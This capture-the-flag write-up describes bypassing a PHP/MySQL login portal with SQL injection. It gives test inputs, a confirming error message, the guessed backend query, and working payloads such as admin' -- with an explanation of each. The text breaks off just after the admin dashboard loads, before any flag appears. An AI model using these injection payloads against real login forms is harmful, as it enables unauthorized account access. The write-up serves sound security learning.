CTF challenge writeup covering SQL injection bypass of authentication, database enumeration, and flag extraction from a vulnerable login portal.
The challenge presents a login portal for an "Admin Panel" with username and password fields.
The hint reads: "Login as admin to get the flag." No source code is provided.
The goal is to bypass authentication and retrieve the flag.
Category: Web Exploitation | Difficulty: Easy–Medium | Points: 150
First, I inspected the page source and found a standard HTML login form submitting via POST
to /login.php. No JavaScript validation was present. Checking HTTP headers
revealed the server was running PHP on Apache.
# Testing with basic injection
Username: admin'
Password: anything
# Server returned a MySQL error — injection confirmed!
# Error: You have an error in your SQL syntax near ''' at line 1
The backend SQL query likely looks like this:
SELECT * FROM users WHERE username = '$username' AND password = '$password';
Since input is not sanitized, we can inject SQL to manipulate the logic. The goal is to make the WHERE clause always evaluate to TRUE, bypassing password verification.
' OR '1'='1 in the username field — resulted in an error, quotes are unbalanced.' OR 1=1 -- — the comment -- ignores the rest of the query including the password check.admin' -- in username, anything in password.SELECT * FROM users WHERE username = 'admin' --' AND password = '...'# Successful payload
Username: admin' --
Password: anything123
# Resulting query (password check commented out):
SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything123';
# ↑ Executed as: SELECT * FROM users WHERE username = 'admin'
# → Returns the admin row → Auth bypass ✓
After successful authentication bypass, the admin dashboard loaded and displayed the flag: